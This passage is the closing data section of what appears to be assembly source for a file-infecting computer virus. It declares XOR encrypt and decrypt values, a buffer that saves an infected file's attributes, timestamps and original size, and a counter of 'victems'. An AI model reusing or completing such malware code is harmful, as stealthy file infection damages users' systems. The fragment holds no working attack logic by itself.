Xor value to be used in Cryptie DecVal1 db 00h ; Decrypt value 1 EncVal1 db 00h ; Encrypt value 1 ende: ; Here is a buffer specifically for file attributes/date/time/size ; It is not saved with the virus, so it doesn't actually take up mem. :) ; Just the offsets are used. s_attr db 0h ; File attributes s_time dw 0h ; Saved Time Last Modified s_date dw 0h ; Saved Date Last Modified s_size dd 0h ; Size of file ( before modification) Victems db 00h ; Place to keep count of victems CurDIR db 64 DUP (90) buffer: